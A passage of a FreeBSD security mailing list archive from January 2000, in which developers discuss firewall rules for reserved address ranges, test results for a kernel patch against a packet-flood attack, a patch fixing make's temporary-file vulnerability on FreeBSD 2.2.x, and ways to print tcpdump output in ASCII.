172.16.0.0/12 to any via ${oif} + ${fwcmd} add deny all from any to 172.16.0.0/12 via ${oif} + ${fwcmd} add deny all from 192.168.0.0/16 to any via ${oif} + ${fwcmd} add deny all from any to 192.168.0.0/16 via ${oif} + + # Stop draft-manning-dsua-01.txt nets on the outside interface + ${fwcmd} add deny all from 0.0.0.0/8 to any via ${oif} + ${fwcmd} add deny all from any to 0.0.0.0/8 via ${oif} + ${fwcmd} add deny all from 169.254.0.0/16 to any via ${oif} + ${fwcmd} add deny all from any to 169.254.0.0/16 via ${oif} + ${fwcmd} add deny all from 192.0.2.0/24 to any via ${oif} + ${fwcmd} add deny all from any to 192.0.2.0/24 via ${oif} + ${fwcmd} add deny all from 224.0.0.0/4 to any via ${oif} + ${fwcmd} add deny all from any to 224.0.0.0/4 via ${oif} + ${fwcmd} add deny all from 240.0.0.0/4 to any via ${oif} + ${fwcmd} add deny all from any to 240.0.0.0/4 via ${oif} # Allow TCP through if setup succeeded ${fwcmd} add pass tcp from any to any established -- Rod Grimes - KD7CAX @ CN85sl - (RWG25) rgrimes@gndrsh.dnsmgr.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 15:37:53 2000 Delivered-To: freebsd-security@freebsd.org Received: from ind.alcatel.com (postal.xylan.com [208.8.0.248]) by hub.freebsd.org (Postfix) with ESMTP id 9F99C15331 for ; Tue, 25 Jan 2000 15:37:50 -0800 (PST) (envelope-from wes@softweyr.com) Received: from mailhub.xylan.com (mailhub [198.206.181.70]) by ind.alcatel.com (8.9.3+Sun/8.9.1 (ind.alcatel.com 3.0 [OUT])) with SMTP id PAA06376; Tue, 25 Jan 2000 15:37:18 -0800 (PST) X-Origination-Site: Received: from omni.xylan.com by mailhub.xylan.com (SMI-8.6/SMI-SVR4 (mailhub 2.1 [HUB])) id PAA23071; Tue, 25 Jan 2000 15:37:18 -0800 Received: from softweyr.com (dyn0.utah.xylan.com [198.206.184.236]) by omni.xylan.com (8.9.3+Sun/8.9.1 (Xylan engr [SPOOL])) with ESMTP id PAA15575; Tue, 25 Jan 2000 15:37:16 -0800 (PST) Message-ID: <388E34CA.5FAFDA3@softweyr.com> Date: Tue, 25 Jan 2000 16:42:02 -0700 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.7 [en] (X11; U; FreeBSD 3.3-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Matthew Dillon Cc: security@freebsd.org Subject: Re: tcp patch tests good (w/ test results) (was Re: Merged patches) References: <200001251733.JAA04770@apollo.backplane.com> <200001251637.JAA04226@harmony.village.org> <200001251736.KAA04666@harmony.village.org> <200001251919.LAA05907@apollo.backplane.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Matthew Dillon wrote: > > I'm testing it... oh what fun! On a 100BaseTX switched network, > with a duel-cpu 450 MHz SMP box as the attacker and a UP build -current > box (450 MHz) as the victim (UP build so the idle times come out right): > > attacker victim victim victim > ICMP_BANDLIM ICMP_BANDLIM TCP_RESTRICT_RST > output lim 100 output lim 10 enabled > (ICMP_BANDLIM off) > > 1600 pps 98% idle 98% idle 98% idle > 6400 pps 95% idle 95% idle 95% idle > 12800 pps 90% idle 90% idle 90% idle > 34000 pps 74% idle 74% idle 76% idle > 41000 pps 69% idle 70% idle 70% idle > 58000 pps 57% idle 57% idle 58% idle > 88000 pps 34% idle 34% idle 36% idle > 96000 pps 28% idle 29% idle 30% idle > 103000 pps 23% idle 23% idle 23% idle > > When I did an SMP build for the victim, it stopped responding at around > 99000 pps, and started responding again after I stopped the attack. Apart > from that the numbers were similar -- the SMP box was somewhat less > efficient for obvious reasons. > > I can't shove out more then 103000 pps on my attack box. At 103000 pps > the network was pushing around 6.2 MBytes/sec. I've got to run so I > don't have time to attack from several sources at once. > > In anycase, I think the patch can be committed. The rest of my network > was idle (no multicast bounce leakage) during the test. I leave it up > to Warner to decide whether to enable ICMP_BANDLIM in GENERIC by default > or not. After thinking about it some more, I think I *would* enable it > in GENERIC. > > These boxes both have on-motherboard 'fxp' ethernets (Intel EtherExpress > Pro 10/100B). Thanks, Matt, and good work. I'll be doing the same testing here on -STABLE later on, when I can safely leak packets to the main lan (just in case. ;^) -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC wes@softweyr.com http://softweyr.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 15:41:29 2000 Delivered-To: freebsd-security@freebsd.org Received: from ind.alcatel.com (postal.xylan.com [208.8.0.248]) by hub.freebsd.org (Postfix) with ESMTP id 35EE2152D2 for ; Tue, 25 Jan 2000 15:39:57 -0800 (PST) (envelope-from wes@softweyr.com) Received: from mailhub.xylan.com (mailhub [198.206.181.70]) by ind.alcatel.com (8.9.3+Sun/8.9.1 (ind.alcatel.com 3.0 [OUT])) with SMTP id PAA06401; Tue, 25 Jan 2000 15:38:39 -0800 (PST) X-Origination-Site: Received: from omni.xylan.com by mailhub.xylan.com (SMI-8.6/SMI-SVR4 (mailhub 2.1 [HUB])) id PAA23130; Tue, 25 Jan 2000 15:38:38 -0800 Received: from softweyr.com (dyn0.utah.xylan.com [198.206.184.236]) by omni.xylan.com (8.9.3+Sun/8.9.1 (Xylan engr [SPOOL])) with ESMTP id PAA15663; Tue, 25 Jan 2000 15:38:37 -0800 (PST) Message-ID: <388E351C.D88B2811@softweyr.com> Date: Tue, 25 Jan 2000 16:43:24 -0700 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.7 [en] (X11; U; FreeBSD 3.3-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Warner Losh Cc: "Rodney W. Grimes" , Matthew Dillon , security@freebsd.org Subject: Re: Merged patches References: <200001251934.LAA71614@gndrsh.dnsmgr.net> <200001251942.MAA05742@harmony.village.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Warner Losh wrote: > > In message <200001251934.LAA71614@gndrsh.dnsmgr.net> "Rodney W. Grimes" writes: > : And yet another bugger.... you just made it impossible for anyone > : doing work with the EXPERIMENTAL block at 240.0.0.0/8 on FreeBSD > : using TCP without hacking the kernel code. Please remove the > : last check here. > > OK. I was unsure of that part, but I'll kill it. I've removed it from my patches for STABLE, too. Still CVSupping, this box was more out-of-date than I thought... -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC wes@softweyr.com http://softweyr.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 15:42:58 2000 Delivered-To: freebsd-security@freebsd.org Received: from naiad.eclipse.net.uk (naiad.eclipse.net.uk [195.188.32.29]) by hub.freebsd.org (Postfix) with ESMTP id E4B5E15213 for ; Tue, 25 Jan 2000 15:42:15 -0800 (PST) (envelope-from sthen@naiad.eclipse.net.uk) Received: by naiad.eclipse.net.uk (Postfix, from userid 475) id 6D8AE1339B; Tue, 25 Jan 2000 23:42:05 +0000 (GMT) Date: Tue, 25 Jan 2000 23:42:05 +0000 From: Stuart Henderson To: Archie Cobbs Cc: Stuart Henderson , Michael Robinson , freebsd-security@FreeBSD.ORG Subject: Re: tcpdump Message-ID: <20000125234205.A6950@naiad.eclipse.net.uk> References: <388C79F9.1F129231@eclipse.net.uk> <200001252153.NAA66515@bubba.whistle.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: <200001252153.NAA66515@bubba.whistle.com>; from archie@whistle.com on Tue, Jan 25, 2000 at 01:53:18PM -0800 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, Jan 25, 2000 at 01:53:18PM -0800, Archie Cobbs wrote: > Stuart Henderson writes: > > > * (BTW, please don't send us patches to print the packet out in ascii) > > > > > > I've just finished with my latest version of such patches. Does that make > > > me some sort of E133t H4x0r or something? > > > > Not really, since the original tcpdump will spit forth ascii without > > much trouble anyway. (Your mod is better though, since you lose the decode > > of packet headers if you just do this by setting -w-). > > So.. how do you get tcpdump to spit forth ascii? Through a pipeline, using -l to line-buffer the output: # tcpdump -w - -s 2000 -l * | strings To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 16:12:21 2000 Delivered-To: freebsd-security@freebsd.org Received: from gatekeeper.tsc.tdk.com (gatekeeper.tsc.tdk.com [207.113.159.21]) by hub.freebsd.org (Postfix) with ESMTP id 67AF514DD3 for ; Tue, 25 Jan 2000 16:11:54 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from imap.gv.tsc.tdk.com (imap.gv.tsc.tdk.com [192.168.241.198]) by gatekeeper.tsc.tdk.com (8.8.8/8.8.8) with ESMTP id QAA06341; Tue, 25 Jan 2000 16:11:40 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from salsa.gv.tsc.tdk.com (salsa.gv.tsc.tdk.com [192.168.241.194]) by imap.gv.tsc.tdk.com (8.9.3/8.9.3) with ESMTP id QAA75836; Tue, 25 Jan 2000 16:11:39 -0800 (PST) (envelope-from Don.Lewis@tsc.tdk.com) Received: (from gdonl@localhost) by salsa.gv.tsc.tdk.com (8.8.5/8.8.5) id QAA28012; Tue, 25 Jan 2000 16:11:39 -0800 (PST) From: Don Lewis Message-Id: <200001260011.QAA28012@salsa.gv.tsc.tdk.com> Date: Tue, 25 Jan 2000 16:11:39 -0800 In-Reply-To: <200001251934.LAA71614@gndrsh.dnsmgr.net> References: <200001251934.LAA71614@gndrsh.dnsmgr.net> X-Mailer: Mail User's Shell (7.2.6 beta(5) 10/07/98) To: "Rodney W. Grimes" , dillon@apollo.backplane.com (Matthew Dillon) Subject: Re: Merged patches Cc: imp@village.org (Warner Losh), security@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Jan 25, 11:34am, "Rodney W. Grimes" wrote: } Subject: Re: Merged patches } > I found a bug in the patch: } > } > : #endif } > :- if (IN_MULTICAST(ntohl(ip->ip_dst.s_addr))) } > :- goto drop; } > :+ if (IN_MULTICAST(ntohl(ip->ip_dst.s_addr)) || } > :+ IN_MULTICAST(ntohl(ip->ip_src.s_addr)) || } > :+ IN_EXPERIMENTAL(ntohl(ip->ip_src.s_addr))) } } And yet another bugger.... you just made it impossible for anyone } doing work with the EXPERIMENTAL block at 240.0.0.0/8 on FreeBSD } using TCP without hacking the kernel code. Please remove the } last check here. How about changing the last part to to ip->ip_src.s_addr == htonl(INADDR_BROADCAST) which is the subset of IN_EXPERIMENTAL that I was concerned about. Without this, someone will post yet another variant of this attack using a broadcast source address. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 16:29:28 2000 Delivered-To: freebsd-security@freebsd.org Received: from cairo.anu.edu.au (cairo.anu.edu.au [150.203.224.11]) by hub.freebsd.org (Postfix) with ESMTP id 60CEC14FCE for ; Tue, 25 Jan 2000 16:28:47 -0800 (PST) (envelope-from avalon@cairo.anu.edu.au) Received: (from avalon@localhost) by cairo.anu.edu.au (8.9.3/8.9.3) id LAA10133; Wed, 26 Jan 2000 11:28:29 +1100 (EST) From: Darren Reed Message-Id: <200001260028.LAA10133@cairo.anu.edu.au> Subject: Re: tcpdump To: sthen@naiad.eclipse.net.uk (Stuart Henderson) Date: Wed, 26 Jan 2000 11:28:29 +1100 (Australia/NSW) Cc: archie@whistle.com (Archie Cobbs), sh@eclipse.net.uk (Stuart Henderson), robinson@netrinsics.com (Michael Robinson), freebsd-security@FreeBSD.ORG In-Reply-To: <20000125234205.A6950@naiad.eclipse.net.uk> from "Stuart Henderson" at Jan 25, 2000 11:42:05 PM X-Mailer: ELM [version 2.5 PL1] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In some mail from Stuart Henderson, sie said: > > On Tue, Jan 25, 2000 at 01:53:18PM -0800, Archie Cobbs wrote: > > Stuart Henderson writes: > > > > * (BTW, please don't send us patches to print the packet out in ascii) > > > > > > > > I've just finished with my latest version of such patches. Does that make > > > > me some sort of E133t H4x0r or something? > > > > > > Not really, since the original tcpdump will spit forth ascii without > > > much trouble anyway. (Your mod is better though, since you lose the decode > > > of packet headers if you just do this by setting -w-). > > > > So.. how do you get tcpdump to spit forth ascii? > > Through a pipeline, using -l to line-buffer the output: > > # tcpdump -w - -s 2000 -l * | strings get tcpdump from www.tcpdump.org. They already support an ASCII dump with HEX (-X). Darren To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 17:11:23 2000 Delivered-To: freebsd-security@freebsd.org Received: from home.x509.com (home.x509.com [199.175.150.4]) by hub.freebsd.org (Postfix) with ESMTP id 31D1014E13 for ; Tue, 25 Jan 2000 17:10:46 -0800 (PST) (envelope-from oswell@xcert.com) Received: from crack.x509.com (crack.x509.com [199.175.150.1]) by home.x509.com (8.9.3/XCERT) with ESMTP id RAA22079 for ; Tue, 25 Jan 2000 17:03:04 -0800 (PST) Received: from oswell.x509.com (oswell.x509.com [199.175.148.212]) by crack.x509.com (8.9.3/XCERT) with ESMTP id RAA27834 for ; Tue, 25 Jan 2000 17:01:48 -0800 (PST) Date: Tue, 25 Jan 2000 17:01:48 -0800 (PST) From: Michael Oswell X-Sender: oswell@oswell.x509.com To: freebsd-security@FreeBSD.ORG Subject: make -j vulnerability && FreeBSD 2.2.x Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org It seems that the patch that was released for the make vulnerability a few days ago is not relevant to machines running FreeBSD 2.2.x. I manually entered the changes from the patch which was released into the Make source on a FreeBSD 2.2.8 box, as well as a few other minor changes to make it compile. I have attached my new patch below in case it is of interest to anyone. I make no guarentees that this patch is correct, and would appreciate it if anyone could verify that it does indeed fix the problem. Also, if a patch has already been released for 2.2.x machines to fix this problem, please let me know. Thanks. *** job.c Tue Jan 25 16:37:52 2000 --- job.c.patched Tue Jan 25 16:47:58 2000 *************** *** 157,173 **** #define JOB_FINISHED 2 /* The job is already finished */ #define JOB_STOPPED 3 /* The job is stopped */ /* - * tfile is the name of a file into which all shell commands are put. It is - * used over by removing it before the child shell is executed. The XXXXX in - * the string are replaced by the pid of the make process in a 5-character - * field with leading zeroes. - */ - static char tfile[] = TMPPAT; - - - /* * Descriptions for various shells. */ static Shell shells[] = { /* --- 157,164 ---- *************** *** 988,996 **** if ((aborting == ABORT_ERROR) && Job_Empty()) { /* * If we are aborting and the job table is now empty, we finish. */ ! (void) eunlink(tfile); Finish(errors); } } --- 979,987 ---- if ((aborting == ABORT_ERROR) && Job_Empty()) { /* * If we are aborting and the job table is now empty, we finish. */ ! (void) eunlink(job->tfile); Finish(errors); } } *************** *** 1661,1668 **** --- 1652,1660 ---- static int jobno = 0; /* job number of catching output in a file */ Boolean cmdsOK; /* true if the nodes commands were all right */ Boolean local; /* Set true if the job was run locally */ Boolean noExec; /* Set true if we decide not to run the job */ + int tfd; /* File descriptor for temp file */ if (previous != NULL) { previous->flags &= ~(JOB_FIRST|JOB_IGNERR|JOB_SILENT|JOB_REMOTE); job = previous; *************** *** 1690,1697 **** --- 1682,1695 ---- job->flags |= JOB_SILENT; } job->flags |= flags; + (void) strcpy(job->tfile, TMPPAT); + if ((tfd = mkstemp(job->tfile)) == -1) + Punt("cannot create temp file: %s", strerror(errno)); + else + (void) close(tfd); + /* * Check the commands now so any attributes from .DEFAULT have a chance * to migrate to the node */ *************** *** 1715,1725 **** if (!cmdsOK) { DieHorribly(); } ! job->cmdFILE = fopen(tfile, "w+"); if (job->cmdFILE == NULL) { ! Punt("Could not open %s", tfile); } (void) fcntl(FILENO(job->cmdFILE), F_SETFD, 1); /* * Send the commands to the command file, flush all its buffers then --- 1713,1723 ---- if (!cmdsOK) { DieHorribly(); } ! job->cmdFILE = fopen(job->tfile, "w+"); if (job->cmdFILE == NULL) { ! Punt("Could not open %s", job->tfile); } (void) fcntl(FILENO(job->cmdFILE), F_SETFD, 1); /* * Send the commands to the command file, flush all its buffers then *************** *** 1823,1831 **** /* * Unlink and close the command file if we opened one */ if (job->cmdFILE != stdout) { ! (void) eunlink(tfile); if (job->cmdFILE != NULL) (void) fclose(job->cmdFILE); } else { (void) fflush(stdout); --- 1821,1829 ---- /* * Unlink and close the command file if we opened one */ if (job->cmdFILE != stdout) { ! (void) eunlink(job->tfile); if (job->cmdFILE != NULL) (void) fclose(job->cmdFILE); } else { (void) fflush(stdout); *************** *** 1851,1859 **** return(JOB_ERROR); } } else { (void) fflush(job->cmdFILE); ! (void) eunlink(tfile); } /* * Set up the control arguments to the shell. This is based on the flags --- 1849,1857 ---- return(JOB_ERROR); } } else { (void) fflush(job->cmdFILE); ! (void) eunlink(job->tfile); } /* * Set up the control arguments to the shell. This is based on the flags *************** *** 1878,1886 **** (void) fcntl(job->outPipe, F_SETFD, 1); } else { (void) fprintf(stdout, "Remaking `%s'\n", gn->name); (void) fflush(stdout); ! sprintf(job->outFile, "%s%02d", tfile, jobno); jobno = (jobno + 1) % 100; job->outFd = open(job->outFile,O_WRONLY|O_CREAT|O_APPEND,0600); (void) fcntl(job->outFd, F_SETFD, 1); } --- 1876,1884 ---- (void) fcntl(job->outPipe, F_SETFD, 1); } else { (void) fprintf(stdout, "Remaking `%s'\n", gn->name); (void) fflush(stdout); ! sprintf(job->outFile, "%s%02d", job->tfile, jobno); jobno = (jobno + 1) % 100; job->outFd = open(job->outFile,O_WRONLY|O_CREAT|O_APPEND,0600); (void) fcntl(job->outFd, F_SETFD, 1); } *************** *** 2397,2406 **** * be running at once. */ { GNode *begin; /* node for commands to do at the very start */ - (void) sprintf(tfile, "/tmp/make%05d", getpid()); - jobs = Lst_Init(FALSE); stoppedJobs = Lst_Init(FALSE); maxJobs = maxproc; maxLocal = maxlocal; --- 2395,2402 ---- *************** *** 2902,2910 **** #endif /* RMT_WILL_WATCH */ } } } ! (void) eunlink(tfile); } /* *----------------------------------------------------------------------- --- 2898,2906 ---- #endif /* RMT_WILL_WATCH */ } } } ! (void) eunlink(job->tfile); } /* *----------------------------------------------------------------------- *************** *** 2936,2944 **** #endif /* RMT_WILL_WATCH */ } } } - (void) eunlink(tfile); return(errors); } /*- --- 2932,2939 ---- *************** *** 3012,3028 **** #else KILL(job->pid, SIGINT); KILL(job->pid, SIGKILL); #endif /* RMT_WANTS_SIGNALS */ } } /* * Catch as many children as want to report in at first, then give up */ while (waitpid((pid_t) -1, &foo, WNOHANG) > 0) continue; - (void) eunlink(tfile); } #ifdef REMOTE /*- --- 3007,3023 ---- #else KILL(job->pid, SIGINT); KILL(job->pid, SIGKILL); #endif /* RMT_WANTS_SIGNALS */ + (void) eunlink(job->tfile); } } /* * Catch as many children as want to report in at first, then give up */ while (waitpid((pid_t) -1, &foo, WNOHANG) > 0) continue; } #ifdef REMOTE /*- *** job.h Tue Jan 25 16:38:16 2000 --- job.h.patched Tue Jan 25 16:38:13 2000 *************** *** 92,99 **** --- 92,101 ---- */ #define JOB_BUFSIZE 1024 typedef struct Job { int pid; /* The child's process ID */ + char tfile[sizeof(TMPPAT)]; + /* Temporary file to use for job */ GNode *node; /* The target the child is making */ LstNode tailCmds; /* The node of the first command to be * saved when the job has been run */ FILE *cmdFILE; /* When creating the shell script, this is ----- Michael Oswell Xcert International Inc. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 18:29:17 2000 Delivered-To: freebsd-security@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 758) id 37EC214E73; Tue, 25 Jan 2000 18:29:16 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id 285DC1CD66E; Tue, 25 Jan 2000 18:29:16 -0800 (PST) (envelope-from kris@hub.freebsd.org) Date: Tue, 25 Jan 2000 18:29:16 -0800 (PST) From: Kris Kennaway To: Michael Oswell Cc: freebsd-security@FreeBSD.ORG Subject: Re: make -j vulnerability && FreeBSD 2.2.x In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, 25 Jan 2000, Michael Oswell wrote: > It seems that the patch that was released for the make vulnerability a few > days ago is not relevant to machines running FreeBSD 2.2.x. I manually > entered the changes from the patch which was released into the Make source > on a FreeBSD 2.2.8 box, as well as a few other minor changes to make it > compile. I have attached my new patch below in case it is of interest to > anyone. Hmm, the patch which was applied to 2.2-STABLE seemed to compile & work when I tested it - it applied cleanly with some fuzz. What problems did you have? Kris To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 20:39: 2 2000 Delivered-To: freebsd-security@freebsd.org Received: from crack.x509.com (crack.x509.com [199.175.150.1]) by hub.freebsd.org (Postfix) with ESMTP id DA29A15070; Tue, 25 Jan 2000 20:38:14 -0800 (PST) (envelope-from oswell@xcert.com) Received: from oswell.x509.com (oswell.x509.com [199.175.148.212]) by crack.x509.com (8.9.3/XCERT) with ESMTP id UAA03125; Tue, 25 Jan 2000 20:37:31 -0800 (PST) Date: Tue, 25 Jan 2000 20:37:31 -0800 (PST) From: Michael Oswell X-Sender: oswell@oswell.x509.com To: Kris Kennaway Cc: freebsd-security@FreeBSD.ORG Subject: Re: make -j vulnerability && FreeBSD 2.2.x In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, 25 Jan 2000, Kris Kennaway wrote: > Hmm, the patch which was applied to 2.2-STABLE seemed to compile & work > when I tested it - it applied cleanly with some fuzz. What problems did > you have? My mistake if one was already released.. I never noticed it. :) I used the one that was at ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:01 which unless I am mistaken, is for 3.x. If one was available for the 2.2-STABLE tree, I never saw it, so manually patched make using the 3.x patch. ----- Michael Oswell Xcert International Inc. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 20:42: 6 2000 Delivered-To: freebsd-security@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 758) id 3C96014A1A; Tue, 25 Jan 2000 20:41:58 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id 25AB11CD5E1; Tue, 25 Jan 2000 20:41:58 -0800 (PST) (envelope-from kris@hub.freebsd.org) Date: Tue, 25 Jan 2000 20:41:58 -0800 (PST) From: Kris Kennaway To: Michael Oswell Cc: freebsd-security@FreeBSD.ORG Subject: Re: make -j vulnerability && FreeBSD 2.2.x In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, 25 Jan 2000, Michael Oswell wrote: > which unless I am mistaken, is for 3.x. If one was available for the > 2.2-STABLE tree, I never saw it, so manually patched make using the 3.x > patch. The same patch applies for 2.2.x, 3.x and 4.x.. Kris ---- "How many roads must a man walk down, before you call him a man?" "Eight!" "That was a rhetorical question!" "Oh..then, seven!" -- Homer Simpson To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 21: 2: 7 2000 Delivered-To: freebsd-security@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 0B23C14E2A for ; Tue, 25 Jan 2000 21:02:05 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id VAA08010; Tue, 25 Jan 2000 21:02:03 -0800 (PST) (envelope-from dillon) Date: Tue, 25 Jan 2000 21:02:03 -0800 (PST) From: Matthew Dillon Message-Id: <200001260502.VAA08010@apollo.backplane.com> To: Alfred Perlstein Cc: Warner Losh , security@FreeBSD.ORG Subject: Re: Merged patches References: <200001251733.JAA04770@apollo.backplane.com> <200001251637.JAA04226@harmony.village.org> <200001251733.JAA04770@apollo.backplane.com> <200001251736.KAA04666@harmony.village.org> <20000125114820.V26520@fw.wintelcom.net> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org :I do agree that the code for it should be marked so that people using :our stack for reference can maybe define NOICMP_BANDLIM and get the :less self-preserving code. :Imagine if our inetd didn't offer rate limiting unless it was compiled :with certain defines. : :-Alfred I think for this release ICMP_BANDLIM can simply be enabled in GENERIC. It would not be wise to go through the code and reverse the sense of all the conditionals and then have to retest everything to make sure we haven't bof'd it. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 21: 5:52 2000 Delivered-To: freebsd-security@freebsd.org Received: from public.bta.net.cn (public.bta.net.cn [202.96.0.97]) by hub.freebsd.org (Postfix) with ESMTP id 7939215089 for ; Tue, 25 Jan 2000 21:04:25 -0800 (PST) (envelope-from robinson@netrinsics.com) Received: from netrinsics.com (gj-06-112.bta.net.cn [202.106.6.112]) by public.bta.net.cn (8.9.3/8.9.3) with ESMTP id NAA06951 for ; Wed, 26 Jan 2000 13:04:09 +0800 (CST) Received: (from robinson@localhost) by netrinsics.com (8.9.3/8.9.3) id NAA49214; Wed, 26 Jan 2000 13:04:42 +0800 (+0800) (envelope-from robinson) Date: Wed, 26 Jan 2000 13:04:42 +0800 (+0800) From: Michael Robinson Message-Id: <200001260504.NAA49214@netrinsics.com> To: archie@whistle.com, sh@eclipse.net.uk Subject: Re: tcpdump Cc: freebsd-security@freebsd.org, robinson@netrinsics.com In-Reply-To: <200001252153.NAA66515@bubba.whistle.com> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Archie Cobbs writes: >So.. how do you get tcpdump to spit forth ascii? This works for me: ------------------------------------ u_char template[]= "\n\t \0"; u_char hex[] = "0123456789ABCDEF"; /* * By default, print the packet out in hex. * * (BTW, please don't send us patches to print the packet out in ascii) */ void default_print(register const u_char *bp, register u_int length) { u_char buffer[62], c; u_int i=0, o, p; while (i < length) { o = i % 16; if (o == 0) { if (i > 0) fputs(buffer, stdout); bcopy(template, buffer, 62); } c = bp[i++]; p = 2 + o*2 + (o/2); buffer[p++] = hex[(c & 0xF0)>>4]; buffer[p++] = hex[c & 0x0F]; if (c >= ' ' && c <= '~') { buffer[o+45] = c; } else { buffer[o+45] = '.'; } } if (i % 16) { fputs(buffer, stdout); } } To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 21:18:10 2000 Delivered-To: freebsd-security@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 39A7F14D50 for ; Tue, 25 Jan 2000 21:18:09 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id VAA08275; Tue, 25 Jan 2000 21:18:06 -0800 (PST) (envelope-from dillon) Date: Tue, 25 Jan 2000 21:18:06 -0800 (PST) From: Matthew Dillon Message-Id: <200001260518.VAA08275@apollo.backplane.com> To: Brett Glass Cc: Warner Losh , security@FreeBSD.ORG Subject: Re: Merged patches References: <4.2.2.20000125133808.019fd6a0@localhost> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org : :P.S. -- In any event, the even greater advantage of using switches :is an enhanced ability to cover all cases and to verify code :correctness (and completeness) by inspection. If one can do this :AND improve performance, it's a serious win. No. There is a time and place for the use of a switch statement to cover all your bases, but a *flags* field is *NOT* it. You are obviously not willing to listen to reason. The plain fact of the matter is that even if you were given the benefit of the doubt, the performance improvement would be so miniscule that it would not be measureable. Making these sorts of changes to perfectly good, working, and well tested code is a great way to screw up said code. We are not going to improve the TCP stack by wasting time on non-productive changes. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 21:25: 4 2000 Delivered-To: freebsd-security@freebsd.org Received: from orthanc.ab.ca (orthanc.ab.ca [207.167.3.130]) by hub.freebsd.org (Postfix) with ESMTP id B581814DEE for ; Tue, 25 Jan 2000 21:25:01 -0800 (PST) (envelope-from lyndon@orthanc.ab.ca) Received: from orthanc.ab.ca (localhost [127.0.0.1]) by orthanc.ab.ca (8.10.0.Beta11/8.10.0.Beta6) with ESMTP id e0Q5N9P56943; Tue, 25 Jan 2000 22:23:10 -0700 (MST) Message-Id: <200001260523.e0Q5N9P56943@orthanc.ab.ca> To: Michael Robinson Cc: archie@whistle.com, sh@eclipse.net.uk, freebsd-security@FreeBSD.ORG Subject: Re: tcpdump In-reply-to: Your message of "Wed, 26 Jan 2000 13:04:42 +0800." <200001260504.NAA49214@netrinsics.com> Date: Tue, 25 Jan 2000 22:23:09 -0700 